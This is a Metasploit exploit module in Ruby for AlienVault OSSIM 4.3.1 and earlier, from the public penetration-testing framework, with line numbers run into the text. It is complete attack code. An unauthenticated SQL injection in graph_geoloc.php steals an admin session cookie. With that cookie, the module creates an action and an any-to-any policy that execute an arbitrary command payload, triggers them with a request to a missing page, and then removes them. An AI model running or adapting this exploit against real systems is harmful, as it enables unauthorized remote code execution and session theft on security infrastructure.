Path: blob/master/modules/exploits/linux/http/alienvault_sqli_exec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",15'Description' => %q{16This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault17OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an18active admin session ID. If an administrator level user is identified, remote code execution19can be gained by creating a high priority policy with an action containing our payload.20},21'License' => MSF_LICENSE,22'Author' => [23'Sasha Zivojinovic', # SQLi discovery24'xistence <xistence[at]0x90.nl>' # Metasploit module25],26'References' => [27['CVE', '2016-8581'],28['OSVDB', '106252'],29['EDB', '33006']30],31'DefaultOptions' => {32'SSL' => true,33'WfsDelay' => 1034},35'Platform' => 'unix',36'Arch' => ARCH_CMD,37'Payload' => {38'Compat' =>39{40'RequiredCmd' => 'generic perl python',41}42},43'Targets' => [44['Alienvault OSSIM 4.3', {}]45],46'Privileged' => true,47'DisclosureDate' => '2014-04-24',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RPORT(443),60OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])61]62)63end6465def check66marker = rand_text_alpha(6)67sqli_rand = rand_text_numeric(4 + rand(4))68sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "69sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"7071res = send_request_cgi({72'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),73'vars_get' => { 'date_from' => sqli }74})7576if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root77return Exploit::CheckCode::Vulnerable78else79print_status("#{res.body}")80return Exploit::CheckCode::Safe81end82end8384def exploit85marker = rand_text_alpha(6)86sqli_rand = rand_text_numeric(4 + rand(4))87sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "88sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"8990print_status("Trying to grab admin session through SQLi")9192res = send_request_cgi({93'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),94'vars_get' => { 'date_from' => sqli }95})9697if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/98admin_session = $199@cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")100print_status("Admin session cookie is [ #{@cookie} ]")101else102fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")103end104105# Creating an Action containing our payload, which will be executed by any event (not only alarms)106action = rand_text_alpha(8 + (rand(8)))107res = send_request_cgi({108'method' => 'POST',109'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),110'cookie' => @cookie,111'vars_post' => {112'action' => 'new',113'action_name' => action,114'descr' => action,115'action_type' => '2',116'only' => 'on',117'cond' => 'True',118'exec_command' => payload.encoded119}120})121122if res && res.code == 200123print_status("Created Action [ #{action} ]")124else125fail_with(Failure::Unknown, "#{peer} - Action creation failed!")126end127128# Retrieving the Action ID, used to clean up the action after successful exploitation129res = send_request_cgi({130'method' => 'POST',131'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),132'cookie' => @cookie,133'vars_post' => {134'page' => '1',135'rp' => '2000'136}137})138139if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/140@action_id = $1141print_status("Action ID is [ #{@action_id} ]")142else143fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")144end145146# Retrieving the policy data, necessary for proper cleanup after succesful exploitation147res = send_request_cgi({148'method' => 'GET',149'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),150'cookie' => @cookie,151'vars_get' => {152'm_opt' => 'configuration',153'sm_opt' => 'threat_intelligence',154'h_opt' => 'policy'155}156})157158if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/159policy_ctx = $1160policy_group = $2161print_status("Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")162else163fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")164end165166# Creating policy which will be triggered by any source/destination167policy = rand_text_alpha(8 + (rand(8)))168res = send_request_cgi({169'method' => 'POST',170'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),171'cookie' => @cookie,172'vars_post' => {173'descr' => policy,174'active' => '1',175'group' => policy_group,176'ctx' => policy_ctx,177'order' => '1', # Makes this the first policy, overruling all the other policies178'action' => 'new',179'sources[]' => '00000000000000000000000000000000', # Source is ANY180'dests[]' => '00000000000000000000000000000000', # Destination is ANY181'portsrc[]' => '0', # Any source port182'portdst[]' => '0', # Any destination port183'plug_type' => '1', # Taxonomy184'plugins[0]' => 'on',185'taxfilters[]' => '20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found186'tax_pt' => '0',187'tax_cat' => '0',188'tax_subc' => '0',189'mboxs[]' => '00000000000000000000000000000000',190'rep_act' => '0',191'rep_sev' => '1',192'rep_rel' => '1',193'rep_dir' => '0',194'ev_sev' => '1',195'ev_rel' => '1',196'tzone' => 'Europe/Amsterdam',197'date_type' => '1',198'begin_hour' => '0',199'begin_minute' => '0',200'begin_day_week' => '1',201'begin_day_month' => '1',202'begin_month' => '1',203'end_hour' => '23',204'end_minute' => '59',205'end_day_week' => '7',206'end_day_month' => '31',207'end_month' => '12',208'actions[]' => @action_id,209'sim' => '1',210'priority' => '1',211'qualify' => '1',212'correlate' => '0', # Don't make any correlations213'cross_correlate' => '0', # Don't make any correlations214'store' => '0' # We don't want to store anything :)215}216})217218if res && res.code == 200219print_status("Created Policy [ #{policy} ]")220else221fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")222end223224# Retrieve policy ID, needed for proper cleanup after succesful exploitation225res = send_request_cgi({226'method' => 'POST',227'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),228'cookie' => @cookie,229'vars_get' => {230'ctx' => policy_ctx,231'group' => policy_group232},233'vars_post' => {234'page' => '1',235'rp' => '2000'236}237})238if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/239@policy_id = $1240print_status("Policy ID [ #{@policy_id} ] retrieved!")241else242fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")243end244245# Reload the policies to make our new policy active246print_status("Reloading Policies")247res = send_request_cgi({248'method' => 'GET',249'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),250'cookie' => @cookie,251'vars_get' => {252'what' => 'policies',253'back' => '../policy/policy.php'254}255})256257if res && res.code == 200258print_status("Policies reloaded!")259else260fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")261end262263# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.264dont_exist = rand_text_alpha(8 + rand(4))265print_status("Triggering policy and action by requesting a non existing url")266res = send_request_cgi({267'method' => 'GET',268'uri' => normalize_uri(target_uri.path, dont_exist),269'cookie' => @cookie270})271272if res and res.code == 404273print_status("Payload delivered")274else275fail_with(Failure::Unknown, "#{peer} - Payload failed!")276end277end278279def cleanup280begin281# Clean up, retrieve token so that the policy can be removed282print_status("Cleaning up")283res = send_request_cgi({284'method' => 'POST',285'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"),286'cookie' => @cookie,287'vars_post' => { 'f_name' => 'delete_policy' }288})289290if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/291token = $1292print_status("Token [ #{token} ] retrieved")293else294print_warning("Unable to retrieve token")295end296297# Remove our policy298res = send_request_cgi({299'method' => 'GET',300'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),301'cookie' => @cookie,302'vars_get' => {303'confirm' => 'yes',304'id' => @policy_id,305'token' => token306}307})308309if res && res.code == 200310print_status("Policy ID [ #{@policy_id} ] removed")311else312print_warning("Unable to remove Policy ID")313end314315# Remove our action316res = send_request_cgi({317'method' => 'GET',318'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),319'cookie' => @cookie,320'vars_get' => {321'id' => @action_id,322}323})324325if res && res.code == 200326print_status("Action ID [ #{@action_id} ] removed")327else328print_warning("Unable to remove Action ID")329end330331# Reload the policies to revert back to the state before exploitation332print_status("Reloading Policies")333res = send_request_cgi({334'method' => 'GET',335'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),336'cookie' => @cookie,337'vars_get' => {338'what' => 'policies',339'back' => '../policy/policy.php'340}341})342343if res && res.code == 200344print_status("Policies reloaded!")345else346fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")347end348ensure349super # mixins should be able to cleanup even in case of Exception350end351end352end353354355